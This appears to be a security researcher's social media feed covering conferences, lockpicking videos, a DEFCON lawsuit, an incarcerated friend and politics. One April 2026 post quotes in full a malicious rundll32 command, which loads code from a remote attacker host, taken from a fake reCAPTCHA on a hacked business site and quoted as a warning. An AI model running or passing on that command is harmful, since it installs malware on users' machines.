Deviant Ollam

Vociferous champion for Oxford commas, two spaces after a period, and ellipses. I break into buildings. 🔓

"Even if the world were ending tomorrow, I would still plant a tree." 🌲

(he/they)

Website: https://deviating.net
Home Turf: Philadelphian in Cascadia
Other Places that I'm @deviantollam: Instagram, YouTube, GitHub, Reddit, Bluesky, probably more
Whiskey Preference: Larceny Bourbon 🥃

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2026-07-28 21:02:38 UTC

Are you coming to Vegas for hacker summer camp soon? My video this week describes the greatest game you can play while in town during @npub1dqd…8xy4 ☺️
Surprise: It doesn't involve gambling! 😉👍
https://www.youtube.com/watch?v=i_xxbHoFHUY
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2026-07-24 23:46:12 UTC

The level of white-hot incandescent rage I now feel whenever anything AI related pops up on my screen (especially at the OS level) is nearly indescribable.
I can't recall literally ANY new technology that has been so widely hated and yet so universally thrust upon the public. Can you?
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2026-07-22 02:15:12 UTC

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2026-07-08 15:19:30 UTC

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I miss the city ☺️

2026-05-30 16:34:36 UTC

Y'all know I'm selective with the donation campaigns I publicize, and that I only share them when I personally know the parties involved...
https://gofund.me/fc94cffcd
...this GFM is an important one for a good person for whom I can personally vouch.
(And the goal amount is very low and thus very achievable... can you help us get there?)
We protect us. 💚🤜🤛💖

2026-05-27 15:52:04 UTC

For no reason in particular, this morning i am thinking of that old axiom: Live your life in such a way that no one ever says "Keep cancer in your thoughts during this difficult time" when talking about you.

2026-05-02 14:31:27 UTC

OK, internet. Time for me to admit something and then solicit your advice.
Admission: I have not purchased a TV in well over 20 years now. I haven't owned a TV for at least 15 years. 📺
While - yes - I have lived with folk way back in Philly who had one every so often, the last TV that I *purchased* was literally a CRT with a tube. Tarah and I didn't have a TV at all for the near-decade that we were married.
Your Advice: Is there a decent resource that you folk trust when it comes to evaluating privacy concerns about modern TVs? The only thing I know is that, if I acquire a new set, it'll be a "frame" TV (thin bezel, matte finish) since 99% of the time it will serve as art on the wall. I do not have any streaming subscriptions and would likely just play media from my Synology or watch YouTube.
Are modern smart TVs all universally horrible from a privacy perspective, like modern cars? Are any TVs decent about not phoning home out-of-the box? Are some frame TVs able to be modded for privacy or are some able to be wrangled into behaving if I block a lot of well-known stuff at my firewall?
Right now the only thing I have done is walk past the Samsung frame TVs at Costco and say, "Yeah, those seem nice. Sure."
If anyone wants to point me at a resource or list of the best vs the worst that are out there when it comes to finding one that isn't a 1984 Telescreen, I'd eagerly read said research.

2026-04-16 21:25:42 UTC

Whoa, i think i've possibly found a candidate for "most horrifying reCAPTCHA process ever devised. 😮
Have any of you ever seen this before? Would ANY of you ever trust a web site to:
1. inject a long text string into your clipboard
2. ask you to open Command Prompt
3. then expect you to blindly paste this long string into your Command Prompt and simply RUN it 😨
Either this is the WORST user experience EVER for a commercial business web site or it's straight-up a hacked site that is trying to pwn other people.
If you're curious, this is the string it is asking users to paste and run in their command prompt...
rundll32.exe \\dynmeshex6.dax8sovel.in.net\05fe317c-0981-4de2-bc8a-930d369db441\ck-3d80df5d12cdfe6450a782fc87bf66b444.google,#1
UPDATE: IF you're curious, this is the web site of a commercial electrician in our area... https://calliduselectric.com ...and I think that clearly this is a malware injection. A truly wild one.
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2026-03-27 19:17:43 UTC

Reason number 834763 that I am infuriated by Republicans:
They have managed to make me feel sympathy towards TSA employees. 😡
(But at least there were no openly armed D student incels with anger issues here in the airport)
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2026-03-26 00:33:22 UTC

Ok, internet. I'm reaching out here. 😮‍💨
I've been trying for a few months now to find someone capable of doing a machining project. After MANY frustrating conversations with machinists who find this job either too small (for their big shop) or too large (for their boutique shop) I'm posting here for reach and boosts, etc...
My goal is to take steel rod stock (likely stainless, but this is flexible based on pricing) in either 7/16" or 15/32" diameter (either should work, i believe) and do the following operations to it:
1. cut to 6" length (ultimately, if this has to be done in long batches first, it could then be parted out at the end)
2. give one end a very small radius (either 1/16" or 1/32" radius)
3. machine the other end down toward a point shape but then leave a "ball" on the end. (this ball doesn't have to be perfectly round at the tip, but it would be nice to come as close as possible)
I have a STEP file for this project, but you can see a rendering of it in this post.
Thankfully the source rod stock would be easily-obtained sizes and nothing exotic. (We can also adjust the overall length of the resulting parts so that there's no waste... like if we take a 4' segment of source rod but the cutting kerf means that the resulting pieces are a shade under 6" in length overall, that's fine... the idea would be to yield eight parts from a 4' source piece of stock)
The goal would be to produce at least a dozen of these rods, but ideally we'd scale that up to 50 or even 100 pieces, if that improves the pricing. The timeline would be for me to take delivery of at least a dozen finished pieces no later than May 5th... but if we can turn out more of them well before that, well this is a plus.
Does ANYONE out there find this project appealing to take on?
Or, if you KNOW a machinist, would you share this project with them to see if they are interested?
Feel free to boost this, etc etc. Thanks! 😊👍
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2026-03-22 18:10:27 UTC

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their entire concert from the Brazen Head years ago is amazing, yes!
In fact, this documentary about the performance is amazing, if you haven't seen it. I love how So many of these old musicians all acknowledge that this is essentially a punk album...
https://youtu.be/UmXs-OHPhPM

2026-03-02 19:19:38 UTC

My video this week asks folk a question about terminology and seeks to untangle certain words that are often applied haphazardly and potentially incorrectly in our industry.
Have you ever heard any of these terms being used? (Possibly the wrong way?) 🚪🤔
https://youtu.be/S9-WoHky67A

2026-02-17 16:44:39 UTC

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people have wanted one for a while

2026-02-17 06:16:46 UTC

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Possibly this? Just the tray...
https://www.redteamtools.com/rtt-lishi-key-cutter-pliers-case-insert-schlage-edition/

2026-02-17 05:10:28 UTC

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we do ☺️👍

2026-02-17 04:06:43 UTC

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thanks for enjoying it! 👍☺️👍

2026-02-10 00:29:27 UTC

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The police report is a hoot though... "On 12/18/2025 at approximately 1927 hours, I, Officer Wayde Anderson #194, and other officers were dispatched to the Hampton Inn located at 3000 Eagandale Place in the city of Eagan for a weapons call. Dispatch notes indicated that federal agents were staying in room 322, and an agent's firearm had been fired in the room. I arrived and made contact with the federal agent in question whom I identified as Bradley Shaver. Bradley wasn't injured; however, I observed a hole in his sweatshirt that I later learned was caused by the fired 9mm round."
"Bradley's supervisor, Adam Autio, was contacted and informed of the incident. The firearm, as well as two magazines, 28 unfired 9mm rounds, the "backstrap", the fired casing, and fabric from Bradley's clothing were entered into evidence for safekeeping. Adam informed officers he would be picking up the firearm for processing."
This part is wild...
"As he was doing this, he heard a very loud bang. Initially he thought the gunshot came from somewhere else and he yelled 'shots fired!' and then told his wife he had to go and hung up. Shaver then felt heat on the left side of his body, looked down and saw the damage to his shirt and realized the shot had some from his own weapon."

2026-02-09 23:57:02 UTC

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ICE are clearly hiring only the best and brightest fascist high school dropouts with anger management issues and poor dexterity.
(cc @npub1gm0…uqrj )
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2026-02-09 23:54:58 UTC

Wondering what journalists might be interested in the news story of an ICE agent negligently discharging his gun through the walls of a hotel he was staying at.
Folk FOIA'd the police report and such...
https://www.muckrock.com/foi/eagan-1302/report-and-bwc-from-firearm-discharge-in-hotel-203056/
...there are some choice photos. I don't think it's been picked up by any news outlets, though.
This evidence is available, but it likely needs a journalist or someone else similar who can curate it and package it up for easy public digestion.
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2026-01-29 20:59:32 UTC

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conservatives?

2026-01-29 20:44:35 UTC

Hell yes! Many of us have been following this story from the beginning, and I'm SO glad to see it resolved finally...
https://arstechnica.com/security/2026/01/county-pays-600000-to-pentesters-it-arrested-for-assessing-courthouse-security/
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2025-12-31 21:27:56 UTC

If you've been following the story of Kara, my incarcerated trans friend who has is being held in Texas and has been behind bars for almost three years now, this is the latest need:
Everything she has left in the world is in about 7 bins like these. (It's actually maybe 5 bins like these plus two cardboard boxes and one or two small plastic shoeboxes, but you get the idea. Imagine 7 Home Depot style storage bins)
These have been in a very generous person's basement for over a year, but that person and their family are moving far away. So there's a need to re-home Kara's bins and keep them safe until her release.
Please Note: We're not looking for a handout. There's budget for this.
We need a NYC local who can help (a) secure us new a storage spot, then (b) physically move the bins to that new spot, then (c) guarantee the bins' safety until Kara's release (which could be another year but which we of course hope comes much sooner)
Again, there is reasonable budget that can be made available for a Lyft XL or a rental car (the bins are currently in Brooklyn) and for the costs of a storage unit or for funds to be paid directly to someone who will host these bins in their own possession.
If you can help, please get in touch with me.
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2025-12-25 16:59:27 UTC

Thank you by the way to everyone who always inquires how Kara is doing. She and I managed to successfully get a video call working on TruLinks today. A little Christmas miracle. 🎄💚
Reminder that you can always send her a letter and it's always appreciated...
Kara Sternquist
Register Number 44404061
FMC Carswell
Federal Medical Center
P.O. Box 27137
Fort Worth, TX 76127
Handwritten or typed is okay, but always use plain white paper. (Fancy cards or thick paper stock can be considered a security risk.) Photos are allowed, too. But print them on regular photo paper and of a standard size and don't show anything risque or criminal. (Photos can delay someone's mail, but mail is always unpredictable on the inside.)
If you include your email address she can reply that way, too, via CorrLinks. (Be sure to check your spam and junk folder regularly because prison messages can wind up there... especially the first ones in a new thread.)
Happy holidays to you and to all of your loved ones. May you hold them close if you are able to. 🎄🎁
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2025-11-12 19:44:18 UTC

My friend Kara, the one currently incarcerated at Carswell, has had her hormones cut yet again.
They haven't done labs or anything on her in weeks.
They've now reduced her to 3 mg a week for her HRT.
We are still desperately searching for legal counsel who will advocate for her. Please help.
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2025-11-07 13:29:19 UTC

Oh for Pete's sake, I *just* returned that bucket truck to the rental lot. 🚧🚒
Guess I'm glad I didn't pack my yellow vest away just yet. 🦺😉
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2025-11-07 00:36:47 UTC

https://vis.social/@infobeautiful/115505450425996881
It is quite telling that the folk in the Pacific Northwest simply do not have terms of endearment like this. Or possibly that we don't reach out to others. Or possibly that we don't have friends at all.

2025-10-25 14:40:15 UTC

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Seriously, this is one of the coolest speaker badges I've ever gotten.
I love this! ☺️👍💚🔑
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2025-10-25 14:38:39 UTC

Made a one day stop in Central Illinois to speak at #BSidesPeoria
Big thanks to them and to Bradley University for having me here!
And that keynote speaker badge.... WOW! 😲🔑
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2025-10-20 19:47:15 UTC

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i am litterally thinking of doing that in the interrim

2025-10-20 18:57:07 UTC

Sigh.
In the latest saga of "tech upgrades that break unexpected things" we seem to have many reports of the latest version of Android that was pushed to many devices, including my Pixels, now having issues with sending DTMF tones down the line during calls.
"Press 2 to speak to the front desk"
"Press 9 to search for your package"
And, in my case, "This is a call from a Federal Prison. To accept this call, press 5"
^ all of these no longer seem to work, or work very inconsistently. I'm wondering if this latest version of Android is cutting off (or otherwise nerfing) just how long / how loud the DTMF tones get sent down the line.
I suspect this is the case because if I go on speaker phone and use a site like https://onlinetonegenerator.com/dtmf.html to blast tones out of my laptop speakers, all of these systems (including TruLinks/CorrLinks) work just fine.
And yes I have tested using a DTMF Tone Generator app on my phone itself. It doesn't work. Likely something about the Dialer app muting local phone sounds and not passing them along down the line.
Arg.
Anyone else out there facing this?

2025-10-13 05:18:11 UTC

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Secret Life of Machines rules. I can still hear the jazzy theme music in my head. ☺️
Their elevator episode is especially great...
https://youtu.be/7rBnoY3x4kY

2025-09-30 16:12:39 UTC

I like to surround myself with people who have extensive and wondrous vocabularies, yet who nevertheless choose to say "fuck" a lot in conversation.

2025-09-24 17:47:33 UTC

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BTW shouts out to QueerASL on Instagram whom you should all be following and such if you want to learn to better communicate with your Deaf and HoH pals.
They run amazing online classes and they're working hard to break ASL out of the cage of a lot of unnecessarily gendered legacy signs.
https://www.instagram.com/queerasl/
The Deaf community is evolving their language everyday, just as the hearing world is. And seeing some of the changes in particular around gender and LGBTQ signs has been wonderful to witness over the years.

2025-09-24 17:45:19 UTC

Feels like many of my followers could use these images in some wonderful memes. Or in flirting. Or you can just be happy knowing that the Deaf community tends to be very queer-positive and that even "mainstream" apps teach LGBTQ+ terms, etc.
But also, yeah, I know some of you -- even hearies -- are gonna be dropping these screenshots in non-ASL conversations, heh. 🤟
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2025-09-20 14:08:46 UTC

This legislator from Texas is saying some horrible things, yes. And it's rightfully making many people disgusted by his hatred.
In the midst of our outrage and anger and possibly even fear, however, You can always spare a moment to look at that clown's Wikipedia page and realize that he is an abject loser of the highest degree.
Losers can still be harmful, especially if they have the levers of power. But never lose sight of the fact that your bully will never make anything of his life.
https://masto.hackers.town/@kimmy/115234346229417365

2025-09-08 13:50:04 UTC

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your outfit that day was super on point, by the way 😁

2025-09-08 13:49:06 UTC

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hah, right on ☺️
Yes, I was at the museum yesterday. 😁 I hadn't gotten to spend any time with Sarah and Claire for a while and missed them very much. 💚

2025-09-07 21:06:33 UTC

The level of over-engineering on this little oil applicator gun that Eric at the @npub10yr…pvwm just showed me is incredible.
The teeny detents! And apparently, yes, the Bell System Practices manual does specify how many clicks of oil various components are supposed to get!
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2025-08-18 18:51:27 UTC

It took me an extra week because it took me this long to get home from Vegas, but I finally posted a video about many of the things I saw and did a Hacker Summer Camp this year... https://youtu.be/Za-W4KEuUtU

2025-08-13 18:03:52 UTC

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Thank you for sharing the update.
While none of us ever want to see something like this happen, and it takes a certain kind of someone to cause this ruckus, it also takes a certain kind of someone to own up to it.
I wonder if there is some sort of penance possible if this person were to do a full disclosure and work with the manufacturer but take no reward in the process.
Heck, If it were me, I would pay for DEFCON admission at full price even if I were accepted as a speaker on this topic in future. (Maybe even a nice EFF donation as an act of contrition?) 😉👍

2025-08-11 02:58:18 UTC

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Don't get it twisted... if you want to come to Vegas and parade around some sort of Instagram haven, this place has got you covered.
But for everyone else who's never been here and has some serious FOMO, please know that 90% of the people up in this jawn are here to take pictures and make others wish they were here spending money.
There are so many better things to do in Vegas. 😉
Goddamn. 👍
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2025-08-11 02:53:19 UTC

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Please do not mistake what I'm saying, anybody.
These art insulations are second to none. The level of attention to detail is beyond anything I have words for.
However, the idea that there is some sort of "puzzle" or "experience" you're supposed to interact with....... It might as well be a ShmooCon cryptography puzzle. Ain't nobody playing.
Utterly no one has ever participated in the installation and gotten even 1/10 of the way through it without aggressively posting on Reddit, re-visiting a dozen times, and sharing notes with 50+ people.
Absolutely awful conveyance.
No proper game designers would seem to have been consulted in the construction of this installation. 🤪

2025-08-11 02:48:58 UTC

JFC 🙃
Every year at the end of @npub1dqd…8xy4 , People I'm with always want to insist on going to see this overwrought insane crazy dumb bullshit.
MeowWolf's installations are absolutely amazing.
Once.
Maybe twice.
Beyond that, I cannot actually comprehend or remotely fathom the number of drugs I would have to eat to want to be here voluntarily *for free*... let alone paying to get in.
Hi... I'm old now. Deal with it.
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2025-08-04 19:01:11 UTC

This week's video is a reveal of a tool that I've been working on for quite a while and I'm really happy with how they turned out.
There were several revisions and tweaks and adjustments... all part of the process of making it good enough to share with you all!
Want to play with them? We'll have them at our table at @npub1dqd…8xy4 !
https://www.youtube.com/watch?v=AFZcS7heHFQ

2025-07-04 17:21:48 UTC

This is, very likely, the absolute best thing you can read on this Fourth of July today...
https://reason.com/volokh/2025/07/04/trump-vs-the-declaration-of-independence/
"The Declaration... contains a long list of grievances... Sadly, many of these are relevant to Donald Trump's abuses of power today"

2025-05-31 08:48:16 UTC

American airports: "Take off your shoes! Is that water bottle empty?! I don't like the look of this nail file, buster!"
Switzerland: "Please feel free to purchase our iconic pocketknives right here inside the terminal."
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2025-05-13 21:12:15 UTC

For those who have been following along in the matter of Hadnagy vs @npub1dqd…8xy4 ...
I'm no lawyer but it looks like this might finally be the nail in the coffin for all that remains in this legal matter?
DEFCON's motion for summary judgment appears to be granted and the judge ordered all further proceedings to stop, In light of the fact that the truth is an affirmative defense against allegations or charges of defamation or harm.
https://www.courtlistener.com/docket/68094183/119/hadnagy-v-moss/?redirect_to_download=True
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2025-05-06 14:29:18 UTC

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oh holy geez, reading more now. Yikes!

2025-05-06 14:29:01 UTC

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oh wow, so young. Was she ill?

2025-04-24 01:48:11 UTC

I watched people all night long hit the ground floor here with an audible *thud* as they all expected there to be one more step downward, heh.
While I do not think this is an accessibility violation, I do think it's poor design. 🦶
https://files.defcon.social/dcsocial-s3/media_attachments/files/114/390/411/996/583/872/original/bd4d49fce1c050c7.mp4

2025-04-19 16:45:35 UTC

"Learn the difference between 'helping' and being 'helpy'"
~ @npub1udn…3tjr at #BSidesSEA
(If all you are doing is pointing at things and saying "look I found all these problems" you're not helping, you're being helpy... Being "helpy" allows you to claim that you're part of the process and a valuable part of the team and it makes you visible in meetings but doesn't actually improve anything.)
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2025-04-17 03:44:38 UTC

Thank you to everybody who sent me the news stories and posts about the hacked crosswalk buttons in Silicon Valley and Seattle. Maybe we'll see them elsewhere, too, soon? I'm betting there may be other cities who's DOT chose weak passwords for systems like this.
If you haven't heard what's up, I did a super short video about this...
https://www.youtube.com/watch?v=woQEJ_fY8Mw

2025-04-12 21:18:46 UTC

Is Angelia trying to send me a spam email or ransom note?
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2025-04-11 00:19:29 UTC

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Holy SHIT the replies to this will have me reading and researching for a while! Wow!

2025-04-10 15:12:51 UTC

EDIT: So it seems like Anki is the main thing I should be trying first. Thank you to the approximately 500 of you and counting who suggested this in their replies! 😂
Ok, internet, I've looked and looked and for the life of me I can't find something that seems like it should be easy to implement and would sell well: study guide / brain trainer software that would allow you to easily make self-quizzing tools.
Anyone can hand-make flash cards, but it'd be nice not to waste paper. But much more than that I would hope such software starts learning success rates, so that it starts offering you more and more of the questions that haven't been answered as successfully/quickly.
Also, the ability to incorporate images as well as merely text would be marvelous.
Bonus: being able to populate all of this on a computer and not pecking away at a teeny smartphone screen keyboard would definitely be desirable.
Thoughts?

2025-04-10 11:43:47 UTC

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why have you done this to our brains? 😧

2025-03-31 19:44:07 UTC

This week's video is about a timely issue: How sure are YOU that your friends' and relatives' browsers are properly locked down?
Recent changes to Chrome resulted in uBlock Origin no longer working for many users, and they may not realize it.
See what happened to someone I know...
https://youtu.be/3ljeOgMksMg

2025-03-26 18:17:57 UTC

I'm still on my kick of playing with tracker technology for luggage and more, and a question as arisen: I often get messages about "unknown Air Tag traveling with you" because all of the ones I'm using belong to Tarah or Emily or someone else other than me.
Let's say you *do* get a message like that, what steps would you take to locate such an Air Tag? With a suitcase it's pretty straightforward, but what about a motorcycle or a car? You can't reasonably tear the entire thing apart.
I would think that the Apple's ultrawideband technology would be used in getting that pinpoint localization of the tag, but is that available to people other than the tag's current owner or authorized parties? Can a "stranger" ping a nearby Air Tag and fix its position discretely with their own iPhone?
If they can't what's the alternative? An SDR with a very specific directional antenna?

2025-03-25 16:34:00 UTC

Liven up the group chats you're in by posting any or all of these images along with some bullshit bombastic emojis like 🇺🇸🤜🤛🇷🇺🧙‍♂️🥵🍆💦 then abruptly delete it all about 15 minutes later, saying something like "Wait, shit, is this the chat WITH reporters or WITHOUT reporters??"
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2025-02-28 20:13:30 UTC

Many of you know that the administration is trying a lot of fuckery with US Passports and gender markers right now. They violated the Administrative Procedure Act by doing this without a comment period.
Right now, they are trying to cure the APA violation by having an after-the-fact comment period...
https://www.federalregister.gov/documents/2025/02/14/2025-02648/30-day-notice-of-proposed-information-collection-application-for-a-us-passport#open-comment
... you can go there RIGHT NOW and make your voice heard. The comments currently are overwhelmingly negative, opposing the administration's bigoted and harmful rule changes.
If you can, please go add your voice. You may think it will make no difference, but the courts can and will look at all of this. Your comment RIGHT NOW opposing passport sex marker nonsense can make you a part of yet another inevitable Trump loss in the court systems soon.
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2025-02-23 01:21:50 UTC

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The latest court documents outline the argument that "Hadnagy's own actions... were his undoing" and "in the end, Hadnagy has no one to blame but himself"
Descriptions of intentionally trying to wreck women's careers when they disagreed with him, public statements fixating on "hot Asians", and talk of a "switchblade ball slap" are among the pages. 😳
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2025-02-23 01:05:17 UTC

I'm sure we'll all talk more about this on Monday when we're at our desks and reading it more thoroughly, but the latest court documents in the Hadnagy vs @npub1dqd…8xy4 matter are public and, boy, are they a wild read...
https://www.courtlistener.com/docket/68094183/hadnagy-v-moss/?order_by=desc
🧵
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2025-02-22 00:26:51 UTC

I was asked recently during a training class what this cool little punch that I was using was called.
Known as a corner cutter or a corner rounder, they are easy to find, super cheap, and I absolutely adore having one on hand for various purposes...
https://www.instagram.com/reel/DGWObO4yuGR/

2025-02-02 15:26:34 UTC

In response to a recent DM where it was pointed out to me that the Transgender Offender Manual is one of the zillions of documents being scrubbed from the internet by the new fascist regime, I've put up my archived copy of what used to be that BOP policy...
https://drive.google.com/file/d/1NXm7kF6wd02R6du0vKDTTCfqjwGyW9eC/view?usp=sharing

2025-02-01 19:46:16 UTC

Nostalgia POV: you're at Grandma's house several decades ago. 🍓🍬😉
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2025-01-20 01:01:37 UTC

Notably absent from this list of tips is the more spicy option of "entire neighborhoods could mobilize and be prepared to take to the rooftops en masse and shoot at thugs who enter their community intent on doing harm" but that's more like a Hollywood movie plotline than something we're likely to actually witness unfold in reality.
https://mastodon.social/@QasimRashid/113855751129691545

2025-01-16 20:44:43 UTC

Thanks to folk like @npub17pm…kws7 and others spreading awareness, I'm now checking out #Pixelfed as a secondary image-posting platform. I've created an account on pixelfed.social but sadly the Admins there seem to have disabled all of the Import functions which is of course the entire point of having an account there.
I've downloaded my whole Instagram archive in JSON format but would like to join an instance that hasn't nerf'd their features. Any good recommendations for a pixelfed instance that has more options available to their users?

2024-12-17 16:29:26 UTC

Have you ever been riding an elevator and found yourself enjoying a pleasant and soothing woman's voice incorporated into the announcements in the cab?
While many companies in the industry do this now, the first and for a long time the only manufacturer to offer this feature was Otis Elevators.
I was seized with the desire to know more about the person behind the voice and ultimately decided to look her up and call her. This eventually resulted in a delightful hour-long phone call, which I have edited into this interview now published on my channel. Enjoy!
https://youtu.be/AwJYz7227OQ
https://files.defcon.social/dcsocial-s3/media_attachments/files/113/669/088/607/706/570/original/a12e1f870a8f6a01.mp4

2024-11-11 19:15:08 UTC

Hey, everyone. Many of you have been sharing "Lawyer, Passport, Locksmith, Gun" a lot more recently...
https://www.youtube.com/watch?v=6ihrGNGesfI
... a few folk have inquired about whether I can add transcription/subtitles to that whole talk for greater accessibility.
So now I'm asking: do I know anyone who does this as a service and would you like to hit me up with your rates and availability?

2024-11-11 02:02:53 UTC

Well here's a delightful thing that happened today. Inspired by the comments section of a recent video I uploaded, I decided to seek out the woman who is the voice behind the verbal announcements you hear in Otis elevator systems.
I did indeed find her. Linda and I had a lovely phone call this afternoon and that interview will be released as an upcoming video in the near future.
🔺
😊👍
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2024-11-06 20:55:53 UTC

my attempt at humor-not-humor today...
in an uncertain future where i guess everything's just a grift and a scam now, has anyone thought of just buying a ton of regular, pasteurized milk and selling it at a markup to trad family dimwits by claiming that it's raw milk?
are the people who are dumb enough to want to buy it also dumb enough to not know the difference?
many of you are looking for new angles and ways to survive in an uncertain tomorrow. perhaps this is a business plan.
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2024-11-06 14:51:10 UTC

I'm already totally tired of reading takes like this...
https://mastodon.social/@ericleamen/113435715244791649
... is there a segment of the population that didn't want to vote for a woman or a person of color? Yeah, sure, maybe.
But that segment pales in comparison to the slice of our populace who couldn't bring themselves to vote for EITHER genocidal authoritarian aristocrat because they "saw no difference" between the candidates.
Do I see a difference between them? Of course.
But I also saw this coming. Democrats who try to be Republicans will be beaten by Republicans every time. The DNC is like Charlie Brown with the football, I swear.
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2024-11-04 20:11:19 UTC

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2024-10-16 19:29:24 UTC

So I've learned that RedBox has gone bankrupt and is shutting down. Apparently property owners are getting quotes as high as $1000 from companies who will contract to haul the machines away. I know several hackers interested in them, however, and would be willing to take one or two for free. If you are in central Florida and have a RedBox machine you no longer want on your property, you can reach out to me and I'll put you in touch with someone who will take care of it for you and re-home it.

2024-09-01 22:12:49 UTC

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May I inquire, and I'm not trying to be too snarky here, what the purpose of such a warning would be?
Is there someone out there who genuinely believes that the public is unaware that alcohol has health implications?

2024-09-01 21:16:00 UTC

I've been getting a lot more of these ads lately (on Instagram, the only place left in my life where I cannot remove ads, sadly) and am curious if this is like a new dangerous scam where vendors are selling denatured lab alcohol as if it were safe to consume?
Or is this some business playing right in the margins of regulation, but actually delivering legit booze?
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2024-08-11 09:32:25 UTC

While I cannot yet lay claim to doing it on a main stage talk, I would like @npub1n4k…jm05 and others to enjoy the fact that tonight at Hacker Karaoke I may have definitely done one of my favorite songs by Z Z Top, wherein I inserted the line "every pony crazy 'bout a sharp dressed mare." 😁🐴🤵🎸
https://haunted.computer/@Dio9sys/112684863778370034